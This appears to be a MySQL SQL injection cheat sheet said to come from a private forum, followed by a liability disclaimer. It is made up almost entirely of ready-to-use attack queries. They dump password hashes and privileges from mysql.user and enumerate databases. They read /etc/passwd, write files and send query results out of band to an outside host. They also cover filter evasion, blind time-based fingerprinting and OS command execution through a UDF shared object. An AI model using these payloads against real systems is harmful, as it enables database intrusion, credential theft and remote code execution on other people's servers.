SELECT CONCAT_WS(0x2E,host,user,password,Select_priv,Insert_priv,Update_priv,Delete_priv,
Create_priv,Drop_priv,Reload_priv,Shutdown_priv,Process_priv,
File_priv,Grant_priv,References_priv,Index_priv,Alter_priv,Show_db_priv,
Super_priv,Create_tmp_table_priv,Lock_tables_priv,Execute_priv,Repl_slave_priv,
Repl_client_priv) FROM mysql.user
Get MySQL DBA Accounts:
SELECT grantee,privilege_type,is_grantable FROM information_schema.user_privileges WHERE privilege_type='SUPER'
SELECT host,user FROM mysql.user WHERE Super_priv='Y'
Get Databases:
SELECT schema_name FROM information_schema.schemata
SELECT DISTINCT db FROM mysql.db
SELECT DISTINCT table_schema FROM information_schema.columns
SELECT DISTINCT table_schema FROM information_schema.tables
Get Databases & Tables:
SELECT table_schema,table_name FROM information_schema.tables
SELECT DISTINCT table_schema,table_name FROM information_schema.columns
Get Databases, Tables & Columns:
SELECT table_schema,table_name,column_name FROM information_schema.columns
SELECT A Certain Row:
SELECT foo FROM bar LIMIT 0,1; #Returns row 0.
SELECT foo FROM bar LIMIT 1,1; #Returns row 1.
...
SELECT foo FROM bar LIMIT N,1; #Returns row N.
Benchmark (Heavy Query):
#Performs an MD5 calculation of "1" for 10000 times.
SELECT BENCHMARK(10000,MD5(1))
Sleep:
#Works only in MySQL 5 and above.
#Sleeps for 5 seconds, returns 0 on success.
SELECT SLEEP(5)
Conversion (Casting):
SELECT CAST('1' AS UNSIGNED INTEGER); #Returns: 1
SELECT CAST('65' AS CHAR); #Returns: A
Substring:
SELECT SUBSTR('foobar',1,3); #Returns: foo
Hexadecimal Evasion:
SELECT 0x41424344; #Returns: ABCD
SELECT 0x2E; #Returns: .
SELECT 0x3A; #Returns: :
ASCII to Number:
SELECT ASCII('A'); #Returns: 65
Number to ASCII:
SELECT CHAR(65); #Returns: A
SELECT CHAR(89); #Returns: Y
SELECT CHAR(116,101,115,116); #Returns: test
If Statement:
#Returns 1 if the database is running MySQL 5.
SELECT IF(ASCII(SUBSTR(VERSION(),1,1))=53,1,0);
#Returns 1 if the database is running MySQL 4.
SELECT IF(ASCII(SUBSTR(VERSION(),1,1))=52,1,0);
Case Statement:
#Returns 1 if the database is running MySQL 5.
SELECT CASE WHEN (ASCII(SUBSTR(VERSION(),1,1))=53) THEN 1 ELSE 0 END
#Returns 1 if the database is running MySQL 4.
SELECT CASE WHEN (ASCII(SUBSTR(VERSION(),1,1))=52) THEN 1 ELSE 0 END
Read File(s):
#Requires you to have the File_priv in mysql.user. On error this statement will return NULL.
SELECT LOAD_FILE('/etc/passwd')
Write File(s):
#You must use quotes on the filename!
SELECT 'Hello World' INTO DUMPFILE '/tmp/test.txt'
SELECT IF((SELECT NULL INTO DUMPFILE '/tmp/test.txt')=NULL,NULL,'Hello World')
Logical Operator(s):
AND, &&; #The AND operator have && as an alternative syntax.
OR, ||; #The OR operator have || as an alternative syntax.
NOT, !; #The NOT operator have ! as an alternative syntax.
XOR; #The XOR operator got no alternative syntax.
Fuzzy Code Comment:
#Code within /*! are getting executed by MySQL. Additional /*! can be used instead of space as evasion.
SELECT/*!CONCAT_WS(0x3A,user,host,password)/*!FROM/*!mysql.user*/
Comments:
SELECT foo, bar FROM foo.bar-- Single line comment
SELECT foo, bar FROM foo.bar/* Multi line comment */
SELECT foo, bar FROM foo.bar# Single line comment
SELECT foo, bar FROM foo.bar; Batched query with additional NULL-byte. It do not work together with PHP though.
A few evasions/methods to use between your MySQL statements:
CR (%0D); #Carrier Return.
LF (%0A); #Line Feed.
Tab (%09); #The Tab-key.
Space (%20); #Most commonly used. You know what a space is.
Multiline Comment (/**/); #Well, as the name says.
Fuzzy Comment (/*!); #Be sure to end your query with (*/)
Parenthesis, ( and ); #Can also be used as separators when used right.
Parenthesis instead of space:
#As said two lines above, the use of parenthesis can be used as a separator.
SELECT * FROM foo.bar WHERE id=(-1)UNION(SELECT(1),(2))
Auto-Casting to Right Collation:
SELECT UNHEX(HEX(USER())); #UNHEX() Converts the hexadecimal value(s) to the current collation.
DNS Requests (OOB (Out-Of-Band)):
#For more information check this.
SELECT YourQuery INTO OUTFILE ‘\\\\www.your.host.com\\?file_to_save_as.txt’
Command Execution:
#If you're on a MySQL 4.X server, it's possible to execute OS commands as long as you're DBA.
#It can be done if you're able to upload a shared object into /usr/lib.
#The file extension is .so, and it must contain an "User Defined Function", UDF.
#Get raptor_udf.c, it's the source-code for just that feature.
#Remember to compile it for the right CPU Architecture.
#The CPU architecture can be resolved by this query:
SELECT @@version_machine;
A couple of useful blind queries to fingerprint the database.
All of these return either True or False, as in, you either get a result or you don't.
Version:
SELECT * FROM foo.bar WHERE id=1 AND ASCII(SUBSTR(VERSION(),1,1))=53; #MySQL 5
SELECT * FROM foo.bar WHERE id=1 AND ASCII(SUBSTR(VERSION(),1,1))=52; #MySQL 4
Running as root:
SELECT * FROM foo.bar WHERE id=1 AND IF((SELECT SUBSTR(USER(),1,4))=UNHEX(HEX(0x726F6F74)),1,0)=1
Got File_priv:
SELECT * FROM foo.bar WHERE id=1 AND IF((SELECT File_priv FROM mysql.user WHERE
(CONCAT_WS(CHAR(64),User,Host) LIKE USER()) OR
(CONCAT(User,UNHEX(HEX(0x4025))) LIKE USER()) OR
(CONCAT_WS(CHAR(64),User,Host) LIKE CONCAT(SUBSTR(USER(),1,INSTR(USER(),CHAR(64))),CHAR(37)))
LIMIT 0,1)=CHAR(89),1,0)=1
Got Super_priv (Are we DBA):
SELECT * FROM foo.bar WHERE id=1 AND IF((SELECT Super_priv FROM mysql.user WHERE
(CONCAT_WS(CHAR(64),User,Host) LIKE USER()) OR
(CONCAT(User,UNHEX(HEX(0x4025))) LIKE USER()) OR
(CONCAT_WS(CHAR(64),User,Host) LIKE CONCAT(SUBSTR(USER(),1,INSTR(USER(),CHAR(64))),CHAR(37)))
LIMIT 0,1)=CHAR(89),1,0)=1
Can MySQL Sleep:
#This query will return True and should take above 1 second to execute. If it's a success.
SELECT * FROM foo.bar WHERE id=1 AND IF((SELECT SLEEP(1))=0,1,0)=1
Can MySQL Benchmark:
SELECT * FROM foo.bar WHERE id=1 AND IF(BENCHMARK(1,MD5(0))=0,1,0)=1
Are we on *NIX:
SELECT * FROM foo.bar WHERE id=1 AND ASCII(SUBSTR(@@datadir,1,1))=47
Are we on Windows:
SELECT * FROM foo.bar WHERE id=1 AND IF(ASCII(SUBSTR(@@datadir,2,1))=58,1,0)=1
Do a certain column exist:
SELECT * FROM foo.bar WHERE id=1 AND (SELECT COUNT(column_name) FROM information_schema.columns WHERE column_name LIKE 'your_column' LIMIT 0,1)>0
Do a certain table exist:
SELECT * FROM foo.bar WHERE id=1 AND (SELECT COUNT(table_name) FROM information_schema.columns WHERE table_name LIKE 'your_table' LIMIT 0,1)>0
SELECT * FROM foo.bar WHERE id=1 AND (SELECT COUNT(table_name) FROM information_schema.tables WHERE table_name LIKE 'your_table' LIMIT 0,1)>0
Do a certain database exist:
SELECT * FROM foo.bar WHERE id=1 AND (SELECT COUNT(table_schema) FROM information_schema.columns WHERE table_schema LIKE 'your_database' LIMIT 0,1)>0
SELECT * FROM foo.bar WHERE id=1 AND (SELECT COUNT(table_schema) FROM information_schema.tables WHERE table_schema LIKE 'your_database' LIMIT 0,1)>0
SELECT * FROM foo.bar WHERE id=1 AND (SELECT COUNT(schema_name) FROM information_schema.schemata WHERE schema_name LIKE 'your_database' LIMIT 0,1)>0
SELECT * FROM foo.bar WHERE id=1 AND (SELECT COUNT(db) FROM mysql.db WHERE db LIKE 'your_database' LIMIT 0,1)>0
***********************************************************************************************************
******* I have collected this Cheet Sheet and double query based injection from a private forum ***********
//The information contained within this publication is
//supplied "as-is"with no warranties or guarantees of fitness
//of use or otherwise.Bot24, Inc nor Bradley Sean Susser accepts
//responsibility for any damage caused by the use or misuse of
//this information